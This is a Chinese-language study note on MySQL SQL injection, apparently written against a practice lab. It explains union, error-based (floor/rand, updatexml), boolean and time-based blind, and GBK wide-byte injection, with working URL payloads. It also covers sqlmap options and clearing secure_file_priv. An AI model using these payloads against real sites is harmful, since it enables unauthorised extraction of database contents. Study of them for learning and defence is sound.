环境准备
- 打开MySQL命令行,执行下面命令开启日志
set global general_log = "ON";
- 执行下面命令,查看日志文件配置
mysql> SHOW VARIABLES LIKE 'general%';
+------------------+--------------------------------------------------------------+
| Variable_name | Value |
+------------------+--------------------------------------------------------------+
| general_log | ON |
| general_log_file | D:\phpstudy_pro\Extensions\MySQL5.7.26\data\MissPower007.log |
+------------------+--------------------------------------------------------------+
- 开启日志后,我们就可以看到我们所执行过的sql语句了,方便学习
常见函数
- group_concat()
- concat()
//二者作用以及区别
mysql> select id,username from users;
+----+----------+
| id | username |
+----+----------+
| 1 | Dumb |
| 2 | Angelina |
| 3 | Dummy |
+----+----------+
mysql> select concat(id,username) from users;
+---------------------+
| concat(id,username) |
+---------------------+
| 1Dumb |
| 2Angelina |
| 3Dummy |
+---------------------+
mysql> select group_concat(id,username) from users;
+---------------------------+
| group_concat(id,username) |
+---------------------------+
| 1Dumb,2Angelina,3Dummy |
+---------------------------+
手工注入
联合查询注入
- 最基础的
//注意要先判断列数
?id=-1' union select group_concat(schema_name) from information_schema.schemata--+
报错注入
floor报错
floor(rand()\*2)
的值是0或1,是完全随机的floor(rand(0)\*2)
的值是0或1,但是是有规律的
mysql> select floor(rand()*2),floor(rand()*2) from users;
+-----------------+-----------------+
| floor(rand()*2) | floor(rand()*2) |
+-----------------+-----------------+
| 0 | 1 |
| 0 | 1 |
| 1 | 0 |
| 1 | 1 |
| 0 | 1 |
| 0 | 0 |
| 1 | 1 |
| 1 | 0 |
| 1 | 1 |
| 1 | 1 |
| 1 | 0 |
| 1 | 0 |
| 1 | 0 |
+-----------------+-----------------+
mysql> select floor(rand(0)*2),floor(rand(0)*2) from users;
+------------------+------------------+
| floor(rand(0)*2) | floor(rand(0)*2) |
+------------------+------------------+
| 0 | 0 |
| 1 | 1 |
| 1 | 1 |
| 0 | 0 |
| 1 | 1 |
| 1 | 1 |
| 0 | 0 |
| 0 | 0 |
| 1 | 1 |
| 1 | 1 |
| 1 | 1 |
| 0 | 0 |
| 1 | 1 |
+------------------+------------------+
- group by的作用是合并相同的数据,效果如下。(a是
floor(rand()\*2)
的别名)
mysql> select floor(rand()*2)a from users;
+---+
| a |
+---+
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 0 |
| 1 |
| 1 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
+---+
mysql> select floor(rand()*2)a from users group by a;
+---+
| a |
+---+
| 0 |
| 1 |
+---+
count(\*)
的作用是统计个数,一般搭配gruop by
使用,就可以统计出对应数据的个数
//第一种情况,查询成功
mysql> select count(*),floor(rand()*2)a from users group by a;
+----------+---+
| count(*) | a |
+----------+---+
| 5 | 0 |
| 8 | 1 |
+----------+---+
//也有可能出现第二种情况,查询失败,出现哪种情况是随机的,Duplicate entry翻译后就是重复条目,后面的'0'是floor(rand()*2)的结果,我们将floor(rand()*2)替换为其他的查询语句,结果也会显示在报错信息中,这就是报错注入的关键
mysql> select count(*),floor(rand()*2)a from users group by a;
ERROR 1062 (23000): Duplicate entry '0' for key '<group_key>'
- 为什么会报错呢?我是这样理解的,一起使用
count(\*)
和group by
的时候,会先返回原始的查询结果(如下,记为表A),然后再根据这个结果进行合并 - 合并的过程是先建立一个虚表,逐行的检索A,如果虚表中不存在该行的记录,则要将它插入虚表,然后
count(\*)
加一,如果虚表中存在该行的记录,则只需要count(\*)
加一 - 查询的时候会执行
floor(rand()\*2)
,这是毫无疑问的,但是往虚表中插入记录的时候会再执行一次floor(rand()\*2)
,假如第一次floor(rand()\*2)
的结果是1,虚表中只有0的记录,这时候就要进行插入,如果第二次floor(rand()\*2)
的值为0,插入的时候就会发现虚表中已经有了相同的条目,就会报错Duplicate entry '0'
(重复条目0)
mysql> select floor(rand()*2)a from users;
+---+
| a |
+---+
| 0 |
| 0 |
| 0 |
| 0 |
| 1 |
| 0 |
| 1 |
| 0 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
+---+
- exp
?id=1' and (select 1 from (select count(*),concat((select concat(schema_name,';') from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
updatexml报错
MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,分别是extractvalue()和updatexml()
updatexml的爆错原因很简单,updatexml第二个参数需要的是Xpath格式的字符串。如果输入的不符合,就会报错。所以我们用
concat(0x7e,database(),0x7e)
,这肯定不是Xpath格式的字符串(0x7e是‘~’)
mysql> select updatexml(1,concat(0x7e,database(),0x7e),3);
ERROR 1105 (HY000): XPATH syntax error: '~security~'
- 参考文章:
https://blog.51cto.com/wt7315/1891458
https://www.cnblogs.com/sallyzhang/p/12054596.html
布尔盲注
- 盲注就是没有数据回显的注入,我们只能知道sql语句的对错
- 我直接举例子,很容易懂
mysql> select database();
+------------+
| database() |
+------------+
| security |
+------------+
mysql> select substr(database(),1,1);
+------------------------+
| substr(database(),1,1) |
+------------------------+
| s |
+------------------------+
mysql> select 1 and substr(database(),1,1)='s';
+----------------------------------+
| 1 and substr(database(),1,1)='s' |
+----------------------------------+
| 1 |
+----------------------------------+
布尔盲注要去猜每一个字符,我们猜对和猜错页面的反应是不同的,所以就能确定我们猜的对不对
建议搭配python脚本使用,效率高
延时盲注
- 延时盲注用到sleep()函数,如果数据库执行了sleep(5),那么数据库就会‘睡’5秒,也就是5秒之后才会有反应
- 主要用到了
if()
函数,if(条件,真,假)
?id=1' and if(ascii(substr(database(),1,1))='s',sleep(3),1)--+
宽字节注入
- 宽字节注入作用是可以绕过转义,完成闭合
MySQL 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如 %aa%5c 就是一个 汉字。因为常见的过滤方法主要就是在敏感字符前面添加 反斜杠 \,宽字节注入就是想办法干掉反斜杠。
PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。
下面指令可以查看MySQL的编码格式
show variables like 'character%';
- 用
%df
吃掉\'
中的\
,(不一定是%df,其他的也可以,比如%bb,只要能组成汉字即可)
具体的原因是 urlencode(\') = %5c%27
,我们在%5c%27
前面添加%df
,形 成%df%5c%27
,MySQL 在 GBK 编码方式的时候会将两个字节当做一个汉字,这个时候就把%df%5c
当做是一个汉字,原本用来转义%27
的%5c
被当成汉字的一部分,%27
则作为一个单独的符号在外面,没有被转义。
当'
被转义为\'
时,我们就可以构造%df'
来绕过转义。原因:%df'
被转义后变成%df\'
,也就是%df%5c%27
,%5c
就被%df
吃掉而失去了作用
- 转义
\'
中的\
例如可以构造 %5c%5c%27
的情况,后面的%5c
会被前面的%5c
给转义掉。
有的MySQL使用set names UTF-8指定了UTF-8字符集,而不是gbk字符集,并且也使用转义函数进行转义。有时候,为了避免乱码,会将一些用户提交的GBK字符使用iconv函数(或者mb_convert_encoding)先转为UTF-8,然后再拼接入SQL语句。
GBK转为UTF-8
mysql_query(“set names UTF-8”) ;
$query =iconv(“GBK”,”UTF-8”, addslashes($_GET["id"])) ;
$sql = "select password from user where bar="$query" ;
$result = mysql_query($sql) ;
我们可以看到,为了使得SQL语句中的字符集保持一致,一般都会使用iconv等字符集转换函数进行字符集转换,问题就是出在了GBK向UTF-8转换的过程中。
传入参数?id=%e5%5c%27
变换过程:(錦这个字:它的utf-8编码是%e9%8c%a6
,它的gbk编码是%e5%5c
,所以%e5%5c
转为UTF-8就是%e9%8c%a6
)
%e5%5c%27(GBK)====(addslashes)====>%e5%5c%5c%5c%27(GBK)====(iconv)====>%e9%8c%a6%5c%5c%27(UTF-8)
(即錦\\'
,两个反斜杠使得单引号没有被转义)
UTF-8转为GBK
使用iconv进行字符集转换,将UTF-8转为GBK,同时,set names字符集为GBK。这种情况下提交%e9%8c%a6
即可。因为漏洞条件比较苛刻,所以简单分析一下
变换过程:
%e9%8c%a6(UTF-8)====(iconv)=====>%e5%5c(GBK)=====(addslashes)====>%e5%5c%5c(GBK)
(即錦\
,多出来一个反斜杠就可以利用了)
- 参考文章:
https://blog.csdn.net/qq_29419013/article/details/81205291
sqlmap
常见参数介绍
-u
:后面跟一个URL,URL中必须有?id=1
。例如-u http://www.baidu.com?id=1
-r
:后面跟一个txt文件,将post请求方式的数据包保存在该txt中,sqlmap会通过post方式检测目标。例如-r post.txt
-v
:显示信息的级别,一共有六级:0:只显示python 错误和一些严重信息;1:显示基本信息(默认);2:显示debug信息;3:显示注入过程的payload;4:显示http请求包;5:显示http响应头;7:显示http相应页面。一般使用-v 3
--dbms=xxx
:指定目标数据库类型。例如--dbms=MySQL
--random-agent
:使用随机user-agent进行测试。sqlmap有一个文件中储存了各种各样的user-agent,文件在/usr/share/sqlmap/data/txt/user-agent.txt--flush-session
:sqlmap扫描的时候会将缓存的数据记录到output文件下,下次扫描时会直接调用本地缓存的扫描结果。如果我们想删除缓存结果,重新对某网站进行扫描就需要添加--flush-session选项--technique=X
:指定所使用的技术(B:布尔盲注;E:报错注入;U:联合查询注入;S:文件系统,操作系统,注册表相关注入;T:时间盲注; 默认全部使用)
MySQL重要参数
secure-file-priv
secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。
secure-file-priv值 | 代表含义 |
---|---|
NULL | 不允许导入/导出 |
/tmp/ | 导入/导出只能发生在/tmp/目录下 |
空 | 不对mysqld 的导入/导出做限制 |
查询secure-file-priv
mysql> show global variables like '%secure%';
+--------------------------+-------+
| Variable_name | Value |
+--------------------------+-------+
| require_secure_transport | OFF |
| secure_auth | ON |
| secure_file_priv | |
+--------------------------+-------+
修改方式
操作系统 | 方法 |
---|---|
Windows | 修改my.ini 在[mysqld]内加入secure_file_priv = |
Linux | 修改my.cnf 在[mysqld]内加入secure_file_priv = |
- 重启MySQL后生效